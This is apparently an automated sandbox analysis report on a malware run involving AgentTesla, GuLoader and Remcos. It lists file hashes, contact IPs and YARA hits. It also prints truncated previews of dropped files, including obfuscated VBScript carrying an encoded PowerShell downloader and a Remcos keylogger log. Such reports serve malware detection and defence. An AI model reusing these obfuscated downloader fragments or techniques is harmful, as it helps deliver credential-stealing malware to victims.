	New Order INQ-087867.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.215.45 185.184.154.65
	NOA, BL and invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.215.45 185.184.154.65
	https://xdywna.com/	Get hash	malicious	Unknown	Browse	172.67.215.45 185.184.154.65
37f463bf4616ecd445d4a1937da06e19	CARTASCONF_PDF.vbs	Get hash	malicious	Unknown	Browse	172.67.19.24
	DHL_00015678202430.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.19.24
	PO 3501987036_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.19.24
	Remesas Aceptadas.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.19.24
	D7849764589370923DOFUG.LnK.lnk	Get hash	malicious	Unknown	Browse	172.67.19.24
	Transferencias90900-54576097665.exe	Get hash	malicious	GuLoader	Browse	172.67.19.24
	SecuriteInfo.com.FileRepMalware.10290.11280.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.FileRepMalware.10290.11280.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.19.24
	embedded_latrodectus.dll.dll	Get hash	malicious	Latrodectus	Browse	172.67.19.24

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	437480
Entropy (8bit):	5.105403560005336
Encrypted:	false
SSDEEP:	6144:sVNFUxUwlTY4h4QmIICQ791+yhii4591lF1UflGsZcfb:nINyeOirlc
MD5:	42320E659E8E1885EB96342E52E4EC60
SHA1:	8FF7099935C8375DDC21E19D61FE13AE56BEA2F0
SHA-256:	5FE439B587F246640A61C65F77380EA1EC486EC799C676B10102C2A502EADFA9
SHA-512:	CC35BB7E273C59C39C25FB902E12379A368FAE97C8403C7DF669DB215E57BDB805D649FAA7DB084E13ADE1F4AA3D97F3457E667770EF2F5D489AD9AED214A707
Malicious:	true
Preview:	Dim FSO, shell, xslProcessor....Sub RunCmd(CommandString, OutputFile).. cmd = "cmd /c " + CommandString + " >> " + OutputFile.. shell.Run cmd, 0, True..End Sub....Sub GetOSInfo(outputFileName).. On Error Resume Next.. strComputer = ".".. HKEY_LOCAL_MACHINE = &H80000002.... Dim objReg, outputFile.. Dim buildDetailNames, buildDetailRegValNames.... buildDetailNames = Array("Product Name", "Version", "Build Lab", "Type").. buildDetailRegValNames = Array("ProductName", "CurrentVersion", "BuildLabEx", "CurrentType").... Set outputFile = FSO.OpenTextFile(outputFileName, 2, True).... Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_.. strComputer & "\root\default:StdRegProv").... outputFile.WriteLine("[Architecture/Processor Information]").. outputFile.WriteLine().. outputFile.Close.. cmd = "cmd /c set processor >> " & outputFileName.. shell.Run cmd, 0, True.... Set outputFile = FSO.OpenTextFile(outpu

C:\ProgramData\ova.vbs

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (332), with CRLF line terminators
Category:	modified
Size (bytes):	346979
Entropy (8bit):	5.079245731429748
Encrypted:	false
SSDEEP:	6144:CY4h4QmIICQ791+yhiiC591lF1UflGsZcfb:DNyeOiZlc
MD5:	E3F480A6AF1786AECC0307D97121D83B
SHA1:	92CBF27C79714154236834E6A4AC6CF193D7DB4E
SHA-256:	B9B467C797F9130014C6A206472E7947B5136EBCE32E2F7B12FE3681138B85E2
SHA-512:	EC3D0EBF4F50770FCD93C3E5B5AC1C6FE846D0F602837DEBFEB8519FE13306B8E4BC649C3B65D2A3B3B8EB5DBB57B3B3C4BDE6E0E4E9384A3515285ADE944BE4
Malicious:	true
Preview:	'..' Copyright (c) Microsoft Corporation. All rights reserved...'..' Windows Software Licensing Management Tool...'..' Script Name: slmgr.vbs..'....Option Explicit....Dim g_objWMIService, g_strComputer, g_strUserName, g_strPassword, g_IsRemoteComputer..g_strComputer = "."..g_IsRemoteComputer = False....dim g_EchoString..g_EchoString = ""....dim g_objRegistry....Dim g_resourceDictionary, g_resourcesLoaded..Set g_resourceDictionary = CreateObject("Scripting.Dictionary")..g_resourcesLoaded = False....Dim g_DeterminedDisplayFlags..g_DeterminedDisplayFlags = False....Dim g_ShowKmsInfo..Dim g_ShowKmsClientInfo..Dim g_ShowTkaClientInfo..Dim g_ShowTBLInfo..Dim g_ShowPhoneInfo....g_ShowKmsInfo = False..g_ShowKmsClientInfo = false..g_ShowTBLInfo = False..g_ShowPhoneInfo = False....' Messages....'Global options..private const L_optInstallProductKey = "ipk"..private const L_optInstallProductKeyUsage = "Install product key (replaces existing key)"....private const L_opt

C:\ProgramData\remcos\logs.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.3683413243328855
Encrypted:	false
SSDEEP:	3:rhlKlFs3WlnNVl1fcl5JWRal2Jl+7R0DAlBG45klovDl6v:6lXlnNi5YcIeeDAlOWAv
MD5:	BF3B412E9BF050444A240055A6BD5613
SHA1:	629689B6C49D7CA84551657B7725712ABE006F9C
SHA-256:	05A05AAC81DF67D1A00B59313255555E16B661970C219012CEF2ECE60E2DA4E3
SHA-512:	544F12CE4C7372BCB7EDEAA49CE95DDF241007BADAF6EB308699DDDB9E673AD587C0112D633F33438367B4939E4EA5F3FC874589E8630FD3C36CE1BBD5C831C7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.5./.0.1. .0.8.:.3.8.:.0.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zQdp8jhj[1].txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12085), with CRLF line terminators
Category:	dropped
Size (bytes):	14228
Entropy (8bit):	4.8135199883424775
Encrypted:	false
SSDEEP:	384:dRmb3pVIORkRwnVc8Zad+mAkG9CA3Dt9QH+wCRSVVpPgRXVNTbGogr8:4VH+enVNagbkGoA3Dt9vjqVA9L7
MD5:	8A693A039DEB71115CBA8AECFEA8E458
SHA1:	FCB76132FA33F5A7B5F5B779271F021DC3259367
SHA-256:	EBC0E4BEED8519D91293BA47B7C0A650EFE0095216F518B0F9F359AB6C69261C
SHA-512:	0C2E8BB8ACBD66A5EBD96E49ECD68BA203F86E75288B14CCBBFB5AFB6A96A2D9D19661E6A753CAC86FE7B8A95FE71B180C7A0B09817356F91185360D293A8F9C
Malicious:	false
Preview:	.. dim gomphrena , amparamento , barbarisonante , quindecenviral , gaguejar , Cama , gaguejar1.. amparamento = " ".. barbarisonante = "" & quindecenviral & amparamento & quindecenviral & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTre" & quindecenviral & amparamento & quindecenviral & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTre" & quindecenviral & amparamento & quindecenviral & "QB3DgTreC0DgTreTwBiDgTreGoDgTre" & quindecenviral & amparamento & quindecenviral & "QBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTre" & quindecenviral & amparamento & quindecenviral & "QB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\eEY9exCe[1].txt

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10406), with CRLF line terminators
Category:	dropped
Size (bytes):	12479
Entropy (8bit):	4.688546755493223
Encrypted:	false
SSDEEP:	384:kpSn71V0elQlwnhYk9md+mYQG1643r5VkH+wiR2JVpPgRrVNPbWag/e:dV/eqnhlmgzQG443r5VbrWVwJzR
MD5:	B6415B579FEE0670A58B576CDF58E720
SHA1:	2353E407AD436212E47DF0C6BC3A8BB92F4610E8
SHA-256:	C10EDABA8D2525DF722FBCC97BC7A53F551278F4F5D72F9A927E17DFC3BBB7C8
SHA-512:	54CA8BC038F55E97F333B2B8B4F1EF887C250ED69652CEFAE5C4910D75D1772AF55CAAECFD95B0D5135F2D90002580FC9CA9CAA657662B2BD72EC6D209C5368E
Malicious:	false
Preview:	.. dim apaleador , quimoso , trivial , aire , malandro , Cama , malandro1.. quimoso = " ".. trivial = "" & aire & quimoso & aire & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTre" & aire & quimoso & aire & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTre" & aire & quimoso & aire & "QB3DgTreC0DgTreTwBiDgTreGoDgTre" & aire & quimoso & aire & "QBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTre" & aire & quimoso & aire & "QB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTre" & aire & quimoso & aire & "QBuDgTreHQDgTreOwDgTregDgTreCQDgTre" & aire & quimoso & aire & "DgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTre" & air

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\json[1].json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	5.017915229257509
Encrypted:	false
SSDEEP:	24:qtYdVauKyGX852sesPvXhNlT3/75ciWro:mYba0GX85TrPvhjTl2ro
MD5:	422AC7611E2B81C113F4DC87EBD20687
SHA1:	69493A36B0EC0B9B9B591A77DAC3299050093A82
SHA-256:	7FF788D408CEB561EC69DC410089B1CC20EDE1491669E37F6599342484BD0E33
SHA-512:	2A9171D820296EF91FE7E9FBD99D7141E0E7E8200DC257E039C72164654E33888CDAB3D12BC2BD4262D1094B9B630B948FE1B57EE2AB737F189ABF023E45F971
Malicious:	false
Preview:	{. "geoplugin_request":"149.18.24.96",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Washington",. "geoplugin_region":"District of Columbia",. "geoplugin_regionCode":"DC",. "geoplugin_regionName":"District of Columbia",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"511",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"38.894",. "geoplugin_longitude":"-77.0365",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\KiVfSXMq[1].txt

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11166), with CRLF line terminators
Category:	dropped
Size (bytes):	13036
Entropy (8bit):	4.651553385480912
Encrypted:	false
SSDEEP:	384:eJaXjtV8uNYNAfpgklmd+mAQGF6Q3DZ90H+oCR2BVpPgRTVN/bmVgf0:PVH2KfpVmgjQGYQ3DZ9r7OVwZI3
MD5:	3DFF7BCD4E8ACFF398BD8408E9A8FF07
SHA1:	6CEF963EE87D17DFE1C79E19EB9DC2A194C42BD3
SHA-256:	D2BCD80997E208A39A70A7E4228EBB3236762EF92FA6B13CFC91333AE9311EE6
SHA-512:	92BCCAAEB4C4C9C4EE616793903E512061C90AF3542E3961E6CE8B4289363DA8E872A7E5F707A1A6E3C0FAB9831F0819D0782CB39FC0CC80FE67390B99977213
Malicious:	false
Preview:	.. dim magia , espiritualmente , acoitadar , teres , depor , Cama , depor1.. espiritualmente = " ".. acoitadar = "" & teres & espiritualmente & teres & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTre" & teres & espiritualmente & teres & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTre" & teres & espiritualmente & teres & "QB3DgTreC0DgTreTwBiDgTreGoDgTre" & teres & espiritualmente & teres & "QBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTre" & teres & espiritualmente & teres & "QB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTre" & teres & espiritualmente & teres & "QBuDgTreHQDgTreOwDgTregDgTreCQDgTre" & teres & espi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.9243637703272345
Encrypted:	false
SSDEEP:	192:exoe5lpOdxoe56ib49Vsm5emdagkjDt4iWN3yBGHB9smMdcU6CBdcU6Ch9smPpOU:cVib49Vkjh4iUx4cYKib4o
MD5:	EF4099FCAB6D29945272316889156337
SHA1:	5AAFAD4581D21179B892604BEBD6038792F8CBD6
SHA-256:	A86220AB1F2A5498457C8801DFCBB2FE3EA6977378CE7E3EEBD007336AFDB3BC
SHA-512:	EC9BB5508D39E6C038878F789DE84F7FBDC87CD20AE3EF81D68BC6589784ADB98EDCDEBF544A463C0AB2F01F52B743803A49A4F3A54FD3D003851B7DEEB8014C
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nllluln1Cth:NllU0
MD5:	F8625DB79647460A04F207EBC7184040
SHA1:	6B64981D7321550E96970C5105DAF103441C3918
SHA-256:	A41274D57550FF34A1CBB24320B244F862BB0BEE104AECD34E044D8418EED583
SHA-512:	BCD0AE9866B46EC191ABC24A3BBFD90546723A33605447731186C2321E48BBFAA207B0714EE363A6606FA53D6764BD529B3F17CB1291E09E0F751F5B216C2A8B
Malicious:	false
Preview:	@...e.................................6.S............@..........

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	62
Entropy (8bit):	3.749869044251416
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsrTyAFYJKXzovATZ0:EFYJKDoWrTyAFYJKDooTK
MD5:	2163F6D6B5FD1D45C1C11869EC76CF5A
SHA1:	BEE53A673176DEF3D11F31292B40358947B83751
SHA-256:	9797CF27C5A23F0765D71EC17334C6762E759414C7922555EA231BBA1FE8B95A
SHA-512:	A71A27DDDF500F31053123F675B2ECF9F356387C240BD1F850B31C4E6A5BB2B16C7D229350981885BFF97FDFDE42A2647DEDB87BC1E35E69516D2C75E9C182CC
Malicious:	false
Preview:	....### explorer ###..[WIN]r....### explorer ###..[116][116]

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sjycg2q.zw3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2imzk442.gpv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4doeplt3.roi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5gconrz.wz1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbq2efyl.2wy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iljlgkjz.eea.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0wwkqj2.y53.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mm4qs2tz.ant.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwrpbok3.hys.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sssyoyhd.r3f.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0pqsgq5.mu3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yausfbkn.orf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\fbshgr.vbe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	62402
Entropy (8bit):	3.4159421356905995
Encrypted:	false
SSDEEP:	384:FZAaML08w+W5kInpMHq5IRpulk06jM1L7Kc0ZyEXJg:7xDiHq5IRglk0q9ZBZg
MD5:	B450FD8E73F6F9A6B29FFD512F4674F2
SHA1:	F8550EE13F6BF6D7253D85936D0679762C19B75E
SHA-256:	19CD3A44EB247DB6AD58872E7AEA46568F59B7BAA652460536413A4B7BFE9735
SHA-512:	3125FF328B83944C78EAA6B42B89804C94BA7CA02F48AEDE4423BB6A6FD63C2BA70B5A0FCDB853BC8C78B44E9F50A8162F5991AD40B472D8CC5DA3365B07B6F4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VBS_Downloader_Generic, Description: Yara detected VBS Downloader Generic, Source: C:\Users\user\AppData\Local\Temp\fbshgr.vbe, Author: Joe Security
